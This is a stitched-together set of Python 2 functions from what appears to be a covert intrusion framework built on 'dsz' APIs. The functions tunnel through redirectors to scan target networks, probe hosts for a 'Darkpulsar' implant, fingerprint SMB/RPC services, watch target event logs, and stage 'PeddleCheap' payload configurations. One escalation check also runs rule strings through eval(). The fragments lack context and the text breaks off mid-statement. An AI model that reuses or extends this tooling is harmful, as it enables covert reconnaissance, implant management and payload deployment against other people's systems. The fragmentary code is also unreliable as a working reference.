def re_escalate(self): type_list = scanbase.get_jobtypes(self.session) for type in type_list.keys(): results = ( scanbase.get_results(self.session, type, success=False) + scanbase.get_results(self.session, type, success=True)) for item in results: temp_engine = scanengine2.get_scanengine([type]) temp_engine.recall_data(item['data']) target = temp_engine.target rulelist = scanbase.get_escalate_rules(self.session) for rule in rulelist: if temp_engine.check_escalation(rule[0]): if (rule[1] == 'alert'): esc_output_string = ( '[%s] Alerting on %s by rule: (%s->%s)' % (dsz.Timestamp(), target, rule[0], rule[1])) self.alert(esc_output_string) dsz.ui.Echo(esc_output_string, dsz.WARNING) else: self.addtoqueue(rule[1], target, self.scansweep_env) esc_output_string = ( '[%s] Escalating %s by rule: (%s->%s) (%s jobs remaining)' % (dsz.Timestamp(), target, rule[0], rule[1], scanbase.num_jobs(self.session))) dsz.ui.Echo(esc_output_string) with open(self.scansweep_logfile, 'a') as f: f.write(('%s\n' % esc_output_string))
def resolvehostname(self, target): cmd = ops.cmd.getDszCommand(('nameserverlookup %s' % target)) obj = cmd.execute() if (obj is None): return False for hostinfo in obj.hostinfo: if util.ip.validate_ipv4(hostinfo.info): dsz.ui.Echo(('[%s] Resolution successful: %s to %s' % (dsz.Timestamp(), target, hostinfo.info.strip())), dsz.WARNING) return hostinfo.info.strip() dsz.ui.Echo(('[%s] Resolution failed: %s' % (dsz.Timestamp(), target)), dsz.WARNING) return None
def execute_scan(self, verbose): redir_cmd = scan.gettunnel(self, self.target, 'tcp', self.port) PATH_TO_DAPUTOUCH = scan.find_newest_touch(self, 'Darkpulsar', 'exe', touch_type='implants') PATH_TO_DAPUXML = scan.find_newest_touch(self, 'Darkpulsar', 'xml', touch_type='implants') dapucmd = ops.cmd.getDszCommand('run', dszquiet=(not verbose)) dapu_cmd_list = [] dapu_cmd_list.append(('--InConfig %s' % PATH_TO_DAPUXML)) dapu_cmd_list.append(('--TargetIp %s' % '127.0.0.1')) dapu_cmd_list.append(('--TargetPort %s' % redir_cmd.lplisten)) dapu_cmd_list.append(('--NetworkTimeout %s' % self.timeout)) dapu_cmd_list.append(('--Protocol %s' % 'SMB')) dapu_cmd_list.append(('--ImplantAction %s' % 'PingPong')) outconfig = os.path.join(ops.LOGDIR, 'Logs', ('%s_%s_%s.xml' % (os.path.basename(PATH_TO_DAPUTOUCH), self.target, dsz.Timestamp()))) dapu_cmd_list.append(('--OutConfig %s' % outconfig)) dapu_cmd_string = ((PATH_TO_DAPUTOUCH + ' ') + ' '.join(dapu_cmd_list)) dapucmd.command = ('cmd /C %s' % dapu_cmd_string) dapucmd.arglist.append('-redirect') dapucmd.arglist.append( ('-directory %s' % os.path.join(ops.DSZDISKSDIR, 'lib', 'x86-Windows'))) dapucmd.prefixes.append('local') dapucmd.prefixes.append('log') dapuobject = dapucmd.execute() ops.networking.redirect.stop_tunnel(dsz_cmd=redir_cmd) screenlog = os.path.join(ops.PROJECTLOGDIR, dapuobject.commandmetadata.screenlog) f = open(screenlog, 'r') screenlog_lines = f.readlines() f.close() for line in screenlog_lines: if ('Process terminated with status 0' in line): self.success = True break elif ('Process terminated with status 6' in line): self.success = False self.error = line.strip( 'Process terminated with status ').strip() break elif ('Process terminated with status' in line): self.error = line.strip( 'Process terminated with status ').strip() self.timestamp = dsz.Timestamp()
def execute_scan(self, verbose): redir_cmd = scan.gettunnel(self, self.target, 'tcp', self.port) PATH_TO_RPCTOUCH = scan.find_newest_touch(self, 'Rpctouch', 'exe') PATH_TO_RPCXML = scan.find_newest_touch(self, 'Rpctouch', 'xml') rpccmd = ops.cmd.getDszCommand('run', dszquiet=(not verbose)) rpc_cmd_list = [] rpc_cmd_list.append(('--InConfig %s' % PATH_TO_RPCXML)) rpc_cmd_list.append(('--TargetIp %s' % '127.0.0.1')) rpc_cmd_list.append(('--TargetPort %s' % redir_cmd.lplisten)) rpc_cmd_list.append(('--NetworkTimeout %s' % self.timeout)) if (int(self.port) == 445): rpc_cmd_list.append(('--Protocol %s' % 'SMB')) elif (int(self.port) == 139): rpc_cmd_list.append(('--Protocol %s' % 'NBT')) rpc_cmd_list.append(('--NetBIOSName %s' % '*SMBSERVER')) rpc_cmd_list.append(('--TouchLanguage %s' % 'False')) rpc_cmd_list.append(('--TouchArchitecture %s' % 'False')) outconfig = os.path.join( ops.LOGDIR, 'Logs', ('%s_%s_%s.xml' % (os.path.basename(PATH_TO_RPCTOUCH), self.target, dsz.Timestamp()))) rpc_cmd_list.append(('--OutConfig %s' % outconfig)) rpc_cmd_string = ((PATH_TO_RPCTOUCH + ' ') + ' '.join(rpc_cmd_list)) rpccmd.command = ('cmd /C %s' % rpc_cmd_string) rpccmd.arglist.append('-redirect') rpccmd.arglist.append( ('-directory %s' % os.path.join(ops.DSZDISKSDIR, 'lib', 'x86-Windows'))) rpccmd.prefixes.append('local') rpccmd.prefixes.append('log') rpcobject = rpccmd.execute() ops.networking.redirect.stop_tunnel(dsz_cmd=redir_cmd) cmd_output = {} cmd_output['error'] = None screenlog = os.path.join(ops.PROJECTLOGDIR, rpcobject.commandmetadata.screenlog) f = open(screenlog, 'r') screenlog_lines = f.readlines() f.close() error = False for line in screenlog_lines: re_out = re.search('] SMB String:', line.strip()) if (re_out is not None): self.os = line.split(':')[(-1)].strip() if ((self.os is None) or (self.os == '(none)')): error = True self.timestamp = dsz.Timestamp() if (error == False): self.success = True
def main(): versionList = list() projDirs = dsz.lp.GetProjectDirectories() for dir in projDirs: verFiles = findVersionFiles(dir) for file in verFiles: verElem = getProjectVersionElement(file, dir) if verElem != None: versionList.append(verElem) doc = createXmlFile(versionList) try: try: currTime = dsz.Timestamp() logDir = open( dsz.lp.GetLogsDirectory() + '\\tool_versions_' + currTime + '.xml', 'w') logDir.write(doc.toprettyxml(newl='\n')) except: print 'Unable to write version information' finally: if logDir != None: logDir.close() return True
def execute_scan(self, verbose): pingcmd = ops.cmd.getDszCommand('ping', broadcast=self.broadcast, timeout=self.timeout, dszquiet=(not verbose)) pingcmd.arglist = [self.target] pingobject = pingcmd.execute() if ((pingobject is None) or (len(pingobject.response) == 0)): return False if (len(pingobject.response) > 1): self.multiple_responses = True for response in pingobject.response: data_dict = {} data_dict['responsetype'] = response.type data_dict['ttl'] = response.ttl data_dict['respondingip'] = response.fromaddr.addr data_dict['elapsed'] = response.elapsed data_dict['timestamp'] = dsz.Timestamp() data_dict['success'] = True if util.ip.validate_ipv6(self.target): data = response.data.data resptype = ('%s%s' % (data[0], data[1])) respcode = ('%s%s' % (data[2], data[3])) icmp_types_ref = icmp6types icmp_codes_ref = icmp6codes data_dict['sourceip'] = '' else: data = response.data.data resptype = ('%s%s' % (data[40], data[41])) respcode = ('%s%s' % (data[42], data[43])) icmp_types_ref = icmptypes icmp_codes_ref = icmpcodes data_dict['sourceip'] = util.ip.get_ip_from_hex_str( data[32:40]) if ((int(resptype, 16) in icmp_codes_ref.keys()) and (int(respcode, 16) in icmp_codes_ref[int(resptype, 16)].keys())): data_dict['icmpcode'] = ( '0x%s (%s)' % (respcode, icmp_codes_ref[int( resptype, 16)][int(respcode, 16)])) else: data_dict['icmpcode'] = ('0x%s' % respcode) if (int(resptype, 16) in icmp_types_ref.keys()): data_dict['icmptype'] = ( '0x%s (%s)' % (resptype, icmp_types_ref[int(resptype, 16)])) else: data_dict['icmptype'] = ('0x%s' % resptype) if (self.multiple_responses is False): self.recall_data(data_dict) else: ping_response = ping(['ping', self.target]) ping_response.recall_data(data_dict) self.response_list.append(ping_response)
def execute_scan(self, verbose): bannercmd = ops.cmd.getDszCommand('banner', ip=self.target, port=self.port, wait=self.timeout, dszquiet=(not verbose)) bannercmd.optdict[self.type] = True bannerobject = bannercmd.execute() if (bannerobject is None): return False success = bannercmd.success self.respondingip = bannerobject.taskinginfo.target.location if (len(bannerobject.transfer) > 0): self.firsttextline = bannerobject.transfer[0].text self.returnip = bannerobject.transfer[0].address self.datasize = bannerobject.transfer[0].data_size try: self.firsttextline = self.firsttextline.split('\n')[0] except: pass self.moduleerror = '' self.oserror = '' banner_files = glob.glob(os.path.join(ops.LOGDIR, 'Data', ('%05d-banner*' % bannerobject.cmdid))) for datafile in banner_files: f = open(datafile, 'r') output = f.readlines() f.close() for line in output: if line.strip().startswith('<ModuleError'): self.moduleerror = line.split("'")[1] if (self.moduleerror == '4105'): break elif line.strip().startswith('<OsError'): self.oserror = line.split("'")[1] break if (self.moduleerror == '4105'): self.error = '4105: Open (Timeout waiting)' elif (self.moduleerror == '11'): self.error = '11: Open (Timeout waiting)' elif ((self.moduleerror == '4101') or (self.moduleerror == '7')): if (self.oserror == '10060'): self.error = ('%s: No response' % '-'.join([self.moduleerror, self.oserror])) elif (self.oserror == '10061'): self.error = ('%s: Actively refused' % '-'.join([self.moduleerror, self.oserror])) elif (self.oserror == '10051'): self.error = ('%s: Unreachable network' % '-'.join([self.moduleerror, self.oserror])) else: self.error = ('%s: Unknown' % '-'.join([self.moduleerror, self.oserror])) elif (self.moduleerror == '10'): self.error = '10: Error receiving data' else: self.error = ('%s: Unknown' % '-'.join([self.moduleerror, self.oserror])) self.timestamp = dsz.Timestamp() if ((self.moduleerror == '4105') or (self.moduleerror == '11')): pass if (not (self.oserror == '10060')): self.success = True
def execute_scan(self, verbose): service_dict = {'win_scan': {'protocol': '-tcp', 'port': '139'}, 'winn': {'protocol': '-udp', 'port': '137'}, 'http': {'protocol': '-tcp', 'port': '80'}, 'ssh': {'protocol': '-tcp', 'port': '22'}} redir_cmd = ops.networking.redirect.generate_tunnel_cmd(arg_list=[service_dict[self.type]['protocol'], '-target', self.target, service_dict[self.type]['port'], '-lplisten', service_dict[self.type]['port']], random=False) redir_output = ops.networking.redirect.start_tunnel(dsz_cmd=redir_cmd) if (not ((redir_output is not False) and (type(redir_output) is int))): return False PATH_TO_SCANNER = os.path.join(ops.TOOLS, 'scanner.exe') scannercmd = ops.cmd.getDszCommand('run', dszquiet=(not verbose)) scannercmd.command = ('%s %s 127.0.0.1' % (PATH_TO_SCANNER, self.type)) scannercmd.arglist.append('-redirect') scannercmd.prefixes.append('local') scannercmd.prefixes.append('log') scannerobject = scannercmd.execute() ops.networking.redirect.stop_tunnel(dsz_cmd=redir_cmd) data = '' first = False num_names = (-1) for processoutput in scannerobject.processoutput: lines = processoutput.output.split('\n') for line in lines: if (self.type == 'http'): if line.startswith('Server:'): data = line.strip().split(':')[1] break elif (self.type == 'ssh'): if line.startswith('---------------'): first = True elif first: if line.startswith('--'): break data = line.strip() break elif (self.type == 'win_scan'): if (line.startswith('*') and (line[1] != '*')): data = line.strip() break elif (self.type == 'winn'): if line.startswith('received'): num_names = int(line.strip().split(' ')[1]) elif (num_names > 0): if (not first): first = True data = ('%s <%s>' % (line.split('<')[0].strip(), line.split('<')[1].split('>')[0].strip())) else: data = ('%s, %s <%s>' % (data, line.split('<')[0].strip(), line.split('<')[1].split('>')[0].strip())) num_names = (num_names - 1) elif (num_names == 0): break self.data = data self.timestamp = dsz.Timestamp() if (not (data == '')): self.success = True
def monitorlogs(interval=300, classic=False, logname='', target=None, filters=[]): logquerycmd = 'eventlogquery ' if classic: logquerycmd += ' -classic ' elif (logname != ''): logquerycmd += (' -log %s ' % logname) if target: logquerycmd += (' -target %s ' % target) z = dsz.control.Method() dsz.control.echo.Off() (success, cmdid) = dsz.cmd.RunEx(logquerycmd, dsz.RUN_FLAG_RECORD) logsbase = ops.data.getDszObject(cmdid=cmdid).eventlog try: while True: dsz.Sleep((interval * 1000)) (success, cmdid) = dsz.cmd.RunEx(logquerycmd, dsz.RUN_FLAG_RECORD) stamp = dsz.Timestamp() newlogs = ops.data.getDszObject(cmdid=cmdid).eventlog for i in range(len(newlogs)): (oldlog, newlog) = (logsbase[i], newlogs[i]) if (newlog.mostrecentrecordnum > oldlog.mostrecentrecordnum): dsz.control.echo.Off() ops.info(('New logs in %s as of %s' % (oldlog.name, stamp))) try: newrecs = recordquery(logname=oldlog.name, start=(oldlog.mostrecentrecordnum + 1), end=newlog.mostrecentrecordnum, target=target) except: ops.error(('Error getting records for log %s' % oldlog.name)) traceback.print_exc(sys.exc_info()) continue if (not newrecs): ops.error(('Error getting records for log %s' % oldlog.name)) continue if (len(newrecs) > 0): ops.info(('-----------------New logs in %s-------------------' % oldlog.name)) for newrec in newrecs: print ('%d: %d - %s %s' % (newrec.number, newrec.id, newrec.datewritten, newrec.timewritten)) print ('User: %s --- Computer: %s' % (newrec.user, newrec.computer)) print ('Source: %s' % newrec.source) print ('Type: %s' % newrec.eventtype) stringslist = '' for strval in newrec.string: stringslist += (strval.value + ', ') print ('Strings: %s' % stringslist) print '---------------------------------------------------------' logsbase = newlogs except RuntimeError as ex: if (ex.args[0] == 'User QUIT SCRIPT'): ops.info('You quit monitoring') return except KeyboardInterrupt: ops.info('You hit Ctrl-D, which means you want to stop monitoring logs, so I am stopping') return
def CreateConfigDir(info): payloadDir = dsz.lp.GetLogsDirectory() + '/Payloads' try: os.mkdir(payloadDir) except: pass dirPath = payloadDir + '/%s_%s' % (info['Name'], dsz.Timestamp()) os.mkdir(dirPath) file = dsz.path.Split(info[FinalizedBinaryField])[1] shutil.copy(os.path.join(dsz.lp.GetResourcesDirectory(), info['ShortName'], info[FinalizedBinaryField]), os.path.join(dirPath, file + '.base')) return ( dirPath, file)
def CreateConfigDir(info): logDir = dsz.lp.GetLogsDirectory() resDir = dsz.lp.GetResourcesDirectory() try: os.mkdir('%s/Payloads' % logDir) except: pass dirPath = '%s/Payloads/%s_%s' % (logDir, info.name[0], dsz.Timestamp()) os.mkdir(dirPath) dir, file = dsz.path.Split(info.baseFile[0]) shutil.copy('%s/%s/%s' % (resDir, info.shortName[0], info.baseFile[0]), '%s/%s.base' % (dirPath, file)) return ( dirPath, file)
def execute_scan(self, verbose): arpcmd = ops.cmd.getDszCommand('arp', scan=self.target, dszquiet=(not verbose)) arpobject = arpcmd.execute() if (arpobject is None): return False self.target = arpobject.entry[0].ip self.mac = arpobject.entry[0].mac self.state = arpobject.entry[0].state self.adapter = arpobject.entry[0].adapter self.timestamp = dsz.Timestamp() if (not ((self.mac == '') or (self.mac == '00-00-00-00-00-00'))): self.target_id = self.search_project_data(macs=[self.mac]) self.oui = util.mac.getoui(self.mac) self.success = True
def __init__(self, arguments): self.DEBUG = False self.ipv6 = False self.toolversion = '5.0.7' self.options = self.parse_scansweep(arguments) self.scansweep_env = ('scansweep_%s' % dsz.Timestamp()) self.session = self.scansweep_env if (self.options.session is not None): self.session = self.options.session try: os.makedirs(os.path.join(ops.LOGDIR, 'Logs')) except WindowsError: pass self.scansweep_logfile = os.path.join( ops.LOGDIR, 'Logs', ('%s_log_out.txt' % self.scansweep_env)) self.scansweep_results = os.path.join( ops.LOGDIR, 'Logs', ('%s_results_out.txt' % self.scansweep_env)) self.scansweep_queuefile = os.path.join( ops.LOGDIR, 'Logs', ('%s_queue_out.txt' % self.scansweep_env)) if (self.options.update is not None): self.scansweep_updatefile = self.options.update self.verbose = self.options.verbose self.nowait = self.options.nowait self.timeout = self.options.timeout self.override = self.options.override self.cidroverride = self.options.cidroverride if (self.options.database is None): self.local_addresses = self.get_local_addresses() self.local_networks = self.get_local_networks() else: self.local_addresses = None self.local_networks = None self.kill = scanbase.get_metadata(self.scansweep_env, 'kill') (self.min_seconds, self.max_seconds) = self.options.period if (self.options.type is not None): self.scan_type = self.options.type[0].lower() else: self.scan_type = None if (self.options.monitor is not None): self.monitor = [] for item in self.options.monitor: if (type(item) == type('')): self.monitor.append(item.lower()) else: self.monitor = None self.maxtime = self.options.maxtime[0] self.internaloverride = self.options.internaloverride self.colorseed = 0 self.monitorengines = []
def alert(self, alertstring): ops.cmd.getDszCommand('warn', arglist=[('"%s"' % alertstring), '-warning']).execute() self.colorseed = ((self.colorseed + 1) % 8) outstring = ( ':Start\r\nCLS\r\necho "%s"\r\nCOLOR %sf\r\nping -n 2 127.0.0.1 >nul\r\nCLS\r\necho "%s"\r\nCOLOR f%s\r\nping -n 2 127.0.0.1 >nul\r\nGOTO Start' % (alertstring, self.colorseed, alertstring, self.colorseed)) alertbat = os.path.join(ops.LOGDIR, 'Logs', ('%s_%s_alert.bat' % (self.scansweep_env, dsz.Timestamp()))) f = open(alertbat, 'w') f.write(outstring) f.close() subprocess.Popen(('cmd /K %s' % alertbat))
def execute_scan(self, verbose): self.error = '' redir_cmd = scan.gettunnel(self, self.target, 'tcp', self.port) PROT_TYPE = 'rpc_tcp' PROT_NUM = '1' if (int(self.port) == 139): pass elif (int(self.port) == 445): PROT_TYPE = 'rpc_smb' PROT_NUM = '3' elif (int(self.port) == 80): PROT_TYPE = 'rpc_http' PROT_NUM = '6' PATH_TO_RPC = os.path.join(ops.TOOLS, 'RPC2.exe') rpccmd = ops.cmd.getDszCommand('run', dszquiet=(not verbose)) rpccmd.command = ( '%s -i 127.0.0.1 -p %s -t 1 -b %s -r %s -o %s -h %s' % (PATH_TO_RPC, redir_cmd.lplisten, PROT_NUM, self.type, self.timeout, self.target)) rpccmd.arglist.append('-redirect') rpccmd.prefixes.append('local') rpccmd.prefixes.append('log') rpcobject = rpccmd.execute() ops.networking.redirect.stop_tunnel(dsz_cmd=redir_cmd) for processoutput in rpcobject.processoutput: lines = processoutput.output.split('\n') for line in lines: if line.startswith('NativeOS'): self.nativeos = line.strip('NativeOS:').strip() elif line.startswith('NativeLanMan'): self.nativelanman = line.strip('NativeLanMan:').strip() elif line.startswith('PrimaryDomain'): self.primarydomain = line.strip('PrimaryDomain:').strip() elif line.startswith('OemDomainName'): self.oemdomain = line.strip('OemDomainName=').strip() elif line.startswith('Looks like '): self.lookslike = line.strip('Looks like ').strip() elif (re.search('failed: 10054', line.strip()) is not None): self.error = line.strip() elif (re.search('ErrorConnectionTimedOut', line.strip()) is not None): self.error = line.strip() elif line.startswith('FAULT: Status'): self.error = line.strip() self.timestamp = dsz.Timestamp() if ((re.search('failed: 10054', self.error) is None) and (re.search('ErrorConnectionTimedOut', self.error) is None)): self.success = True
def _logGenerateName(prefix, suffix): import dsz import re logName = '' if prefix != None: logName = logName + prefix logName = logName + '_' + dsz.Timestamp() if suffix != None and len(suffix) > 0: logName = logName + '.' + suffix logName = re.sub('\\*', '%', logName) logName = re.sub('/', '%', logName) logName = re.sub('\\\\', '%', logName) logName = re.sub(':', '%', logName) logName = re.sub('"', '%', logName) logName = re.sub('>', '%', logName) logName = re.sub('<', '%', logName) logName = re.sub('\\|', '%', logName) logName = re.sub('\\?', '%', logName) logName = re.sub(' ', '%', logName) return logName
def RecordTask(task, cmdData): resultsDir = ('%s/TaskResults' % dsz.script.Env['log_path']) try: os.mkdir(resultsDir) except: pass outputFile = ('%s/%s_%s_%s.xml' % (resultsDir, task.Priority, task.name, dsz.Timestamp())) doc = xml.dom.minidom.Document() results = doc.createElement('TaskResults') doc.appendChild(results) results.setAttribute('taskID', task.TaskID) results.setAttribute('targetID', task.TargetID) commands = doc.createElement('Commands') results.appendChild(commands) commands.setAttribute('tool', 'DSZ') for (cmd, id) in cmdData: command = doc.createElement('Command') commands.appendChild(command) type = doc.createElement('Type') command.appendChild(type) type.appendChild(doc.createTextNode(cmd)) location = doc.createElement('DSZPayloadLocation') command.appendChild(location) location.appendChild( doc.createTextNode( dsz.cmd.data.Get('CommandMetaData::XmlLog', dsz.TYPE_STRING, id)[0])) taskId = doc.createElement('TaskId') command.appendChild(taskId) taskId.appendChild( doc.createTextNode( dsz.cmd.data.Get('CommandMetaData::TaskId', dsz.TYPE_STRING, id)[0])) output = open(outputFile, 'w') try: output.write(doc.toprettyxml(indent=' ')) finally: output.close()
else: self.oui = '' if (self.target == None): return netbios_type_list.sort() lastitem = '' self.services = '' service_list = {} for item in netbios_type_list: if (item.lower() in service_list.values()): continue service_list[item] = item.lower() self.services = ', '.join(service_list.keys()) self.target_id = self.search_project_data(macs=self.mac.split(','), hostname=self.name) self.timestamp = dsz.Timestamp() self.success = True def return_success_message(self): return ('Netbios result for %s' % self.target) def check_escalation(self, escalation_rule): netbios = self try: if eval(escalation_rule): return True else: return False except: return False
def scan(scansweepHelper): lastresults = 0 alreadyoutput = [] num_remaining = scanbase.num_jobs(scansweepHelper.session) sanity_string = ('[%s] Sanity output: %s jobs remaining, %s-%s remaining' % (dsz.Timestamp(), num_remaining, ops.timehelper.get_age_from_seconds( (num_remaining * scansweepHelper.min_seconds)), ops.timehelper.get_age_from_seconds( (num_remaining * scansweepHelper.max_seconds)))) dsz.ui.Echo(sanity_string, dsz.GOOD) scansweepHelper.showstats() if (not os.path.exists(os.path.dirname( scansweepHelper.scansweep_logfile))): os.mkdir(os.path.dirname(scansweepHelper.scansweep_logfile)) with open(scansweepHelper.scansweep_logfile, 'a') as f: f.write(('%s\n' % sanity_string)) delta = time.time() scantime = time.time() originaltime = time.time() if (scansweepHelper.monitor is not None): scansweepHelper.activatemonitors() while True: if ((time.time() - originaltime) > scansweepHelper.maxtime): dsz.ui.Echo( ('Maxtime of %s has been exceeded. Exiting.' % ops.timehelper.get_age_from_seconds(scansweepHelper.maxtime)), dsz.ERROR) break scan_job = scanbase.get_job(scansweepHelper.session) if (scan_job == False): if (scansweepHelper.monitor is None): break else: try: target = scan_job[1] job_info = scan_job[0].split('|') job_type = job_info[0] if (not util.ip.validate(target)): target = scansweepHelper.resolvehostname(target) if (target == None): continue target_scanner = scanengine2.get_scanengine( scan_job, scansweepHelper.timeout) target_scanner.execute_scan(False) if target_scanner.multiple_responses: multi_response = target_scanner.return_data() for response in multi_response: scanbase.write_result(scansweepHelper.session, response.scan_type, response.target, response.return_data(), response.success, scan_job[0]) else: scanbase.write_result(scansweepHelper.session, target_scanner.scan_type, target_scanner.target, target_scanner.return_data(), target_scanner.success, scan_job[0]) if target_scanner.success: succ_out_string = ( '[%s] %s (%s jobs remaining)' % (target_scanner.timestamp, target_scanner.return_success_message(), scanbase.num_jobs(scansweepHelper.session))) dsz.ui.Echo(succ_out_string) with open(scansweepHelper.scansweep_logfile, 'a') as f: f.write(('%s\n' % succ_out_string)) rulelist = scanbase.get_escalate_rules(scansweepHelper.session) for rule in rulelist: if target_scanner.check_escalation(rule[0]): if (rule[1] == 'alert'): if (target_scanner.success == True): esc_output_string = ( '[%s]\t\tAlerting on %s by rule: (%s->%s)' % (dsz.Timestamp(), target, rule[0], rule[1])) else: esc_output_string = ( '[%s] Alerting on %s by rule: (%s->%s)' % (dsz.Timestamp(), target, rule[0], rule[1])) scansweepHelper.alert(esc_output_string) dsz.ui.Echo(esc_output_string, dsz.WARNING) else: add_succ = scansweepHelper.addtoqueue( rule[1], target, scansweepHelper.scansweep_env) if ((target_scanner.success == True) and add_succ): esc_output_string = ( '[%s]\t\tEscalating %s by rule: (%s->%s) (%s jobs remaining)' % (dsz.Timestamp(), target, rule[0], rule[1], scanbase.num_jobs( scansweepHelper.session))) elif add_succ: esc_output_string = ( '[%s] Escalating %s by rule: (%s->%s) (%s jobs remaining)' % (dsz.Timestamp(), target, rule[0], rule[1], scanbase.num_jobs( scansweepHelper.session))) dsz.ui.Echo(esc_output_string) with open(scansweepHelper.scansweep_logfile, 'a') as f: f.write(('%s\n' % esc_output_string)) except Exception as e: if dsz.ui.Prompt( ('The current job failed for some reason. Would you like to quit? %s' % e), False): break else: continue if scansweepHelper.monitor: for monitor_handler in scansweepHelper.monitorengines: found_connections = monitor_handler.execute_monitor() for connection in found_connections: rulelist = scanbase.get_escalate_rules( scansweepHelper.session) for rule in rulelist: if monitor_handler.check_escalation( rule[0], connection): found = False add_succ = True if (not scansweepHelper.internaloverride): for network in scansweepHelper.local_networks: if util.ip.validate_ipv6( connection.target): if (util.ip.expand_ipv6( connection.target)[:19] == network[1]): found = True break elif ((not (network[0] == '')) and (scansweepHelper.getnetwork( connection.target, util.ip.get_cidr_from_subnet( network[0])) == network[1])): found = True break if ((not scansweepHelper.internaloverride) and (not found)): esc_output_string = ( '[%s] Escalation failed (outside subnet) %s by rule: (%s->%s) (%s jobs remaining)' % (dsz.Timestamp(), connection.target, rule[0], rule[1], scanbase.num_jobs( scansweepHelper.session))) dsz.ui.Echo(esc_output_string, dsz.WARNING) elif (rule[1] == 'alert'): esc_output_string = ( '[%s] Alerting on %s by rule: (%s->%s)' % (dsz.Timestamp(), connection.target, rule[0], rule[1])) scansweepHelper.alert(esc_output_string) dsz.ui.Echo(esc_output_string, dsz.WARNING) else: add_succ = scansweepHelper.addtoqueue( rule[1], connection.target, scansweepHelper.scansweep_env) if add_succ: esc_output_string = ( '[%s] Escalating %s by rule: (%s->%s) (%s jobs remaining)' % (dsz.Timestamp(), connection.target, rule[0], rule[1], scanbase.num_jobs( scansweepHelper.session))) dsz.ui.Echo(esc_output_string) if add_succ: with open(scansweepHelper.scansweep_logfile, 'a') as f: f.write(('%s\n' % esc_output_string)) newdelta = time.time() num_remaining = scanbase.num_jobs(scansweepHelper.session) if ((((num_remaining % 10) == 0) and (not (num_remaining in alreadyoutput))) or ((newdelta - delta) > (5 * 60))): maxremaining = int( (scansweepHelper.maxtime - (time.time() - originaltime))) sanity_string = ( '[%s] Sanity output: %s jobs remaining, %s-%s remaining (max %s), %0.1fs since last sanity' % (dsz.Timestamp(), num_remaining, ops.timehelper.get_age_from_seconds( (num_remaining * scansweepHelper.min_seconds)), ops.timehelper.get_age_from_seconds( (num_remaining * scansweepHelper.max_seconds)), ops.timehelper.get_age_from_seconds(maxremaining), (newdelta - delta))) dsz.ui.Echo(sanity_string, dsz.GOOD) with open(scansweepHelper.scansweep_logfile, 'a') as f: f.write(('%s\n' % sanity_string)) scansweepHelper.showstats() alreadyoutput.append( scanbase.num_jobs(scansweepHelper.scansweep_env)) delta = newdelta resultstotal = 0 type_list = scanbase.get_jobtypes(scansweepHelper.session) for type in type_list: resultstotal = (resultstotal + scansweepHelper.findlistsize(type)) if (not (lastresults == resultstotal)): scansweepHelper.generateresults(quiet=True) lastresults = resultstotal if scanbase.check_kill(scansweepHelper.session): dsz.ui.Echo(('This session (%s) is marked for death. Exiting.' % scansweepHelper.session), dsz.ERROR) break if ((not (scanbase.num_jobs(scansweepHelper.session) == 0)) or scansweepHelper.monitor): sleep_in_secs = random.randint(scansweepHelper.min_seconds, scansweepHelper.max_seconds) if (not scansweepHelper.nowait): if scansweepHelper.verbose: dsz.ui.Echo(('[%s] Sleeping for %s seconds...' % (dsz.Timestamp(), sleep_in_secs))) try: dsz.Sleep((sleep_in_secs * 1000)) except exceptions.RuntimeError as e: dsz.ui.Echo(('%s' % e), dsz.ERROR) break elif ((time.time() - scantime) < sleep_in_secs): nowaitsleep = int((sleep_in_secs - floor( (time.time() - scantime)))) if scansweepHelper.verbose: dsz.ui.Echo(( '[%s] Sleeping for %s seconds (%s seconds remain)...' % (dsz.Timestamp(), sleep_in_secs, nowaitsleep))) try: dsz.Sleep((sleep_in_secs * 1000)) except exceptions.RuntimeError as e: dsz.ui.Echo(('%s' % e), dsz.ERROR) break elif scansweepHelper.verbose: dsz.ui.Echo( ('[%s] Would sleep for %s seconds but we are overdue...' % (dsz.Timestamp(), sleep_in_secs))) scantime = time.time() if scanbase.check_kill(scansweepHelper.session): dsz.ui.Echo(('This session (%s) is marked for death. Exiting.' % scansweepHelper.session), dsz.ERROR) break
def _configureWithFC(path, file, keyLocation, extraInfo): toolLoc = dsz.lp.GetResourcesDirectory() # get additional host information _getHostInformation(extraInfo) # Store the current version PeddleCheap version = "" try: dom1 = xml.dom.minidom.parse("%s/Pc2.2/Version.xml" % toolLoc) element = dom1.getElementsByTagName("Version") major = element[0].getAttribute("major") minor = element[0].getAttribute("minor") fix = element[0].getAttribute("fix") build = element[0].getAttribute("build") version = "%s.%s.%s.%s" % (major, minor, fix, build) except: dsz.ui.Echo("* Failed to get PC version", dsz.ERROR) return "" dsz.ui.Echo( "The files need to be saved for transport to a machine with access") dsz.ui.Echo( "to FelonyCrowbar. This requires some form of removable media") defaultDest = _getDefaultPath() dest = dsz.ui.GetString("Please provide a path:", _getDefaultPath()) dsz.env.Set(_getDestinationDir(), dest, 0, "") dest = os.path.normpath("%s/payload" % dest) if (len(glob.glob(dest)) > 0): dsz.ui.Echo( "%s already exists! You may have already configured a payload!" % dest, dsz.ERROR) return "" # create the directories try: os.mkdir(dest) except: pass try: os.mkdir("%s/lib" % dest) except: pass try: os.mkdir("%s/data" % dest) except: pass # where are the source files? sourceDir = "%s/Pc2.2/Tools" % toolLoc # copy over all the files if ((not _copyFiles("%s/java-j2se_1.5/" % sourceDir, "%s" % dest, "PcRemoteConfiguration.jar")) or (not _copyFiles("%s/java-j2se_1.5/" % sourceDir, "%s" % dest, "PcRemoteConfiguration.pl")) or (not _copyFiles("%s/java-j2se_1.5/lib" % sourceDir, "%s/lib" % dest, "*.jar")) or (not _copyFiles("%s/java-j2se_1.5/data" % sourceDir, "%s/data" % dest, "*.properties")) or (not _copyFiles(keyLocation, "%s/data" % dest, "*.bin")) or (not _copyFiles(path, "%s/data" % dest, "config.xml"))): dsz.ui.Echo("* Failed to copy files to removable media", dsz.ERROR) return "" # output name execProperties = os.path.normpath("%s/data/exec.properties" % dest) try: os.remove(execProperties) except: pass mount = re.sub("\\\\", "/", dest) lines = list() lines.append("output:%s.configured\n" % file) lines.append("mount:%s\n" % mount) lines.append("version:%s\n" % version) lines.append("inXml:config.xml\n") lines.append("outXml:config.final.xml\n") lines.append("configName:%s\n" % extraInfo["Fc_Name"][0]) lines.append("osFamily:%s\n" % extraInfo["Fc_OsFamily"][0]) lines.append("osArchitecture:%s\n" % extraInfo["Fc_Architecture"][0]) lines.append("fc_response:FelonyCrowbar.xml\n") if (extraInfo.has_key("hostname")): lines.append("hostname:%s\n" % extraInfo["hostname"][0]) if (extraInfo.has_key("mac")): line = "" for item in extraInfo["mac"]: if (len(line) == 0): line = item else: line = line + (",%s" 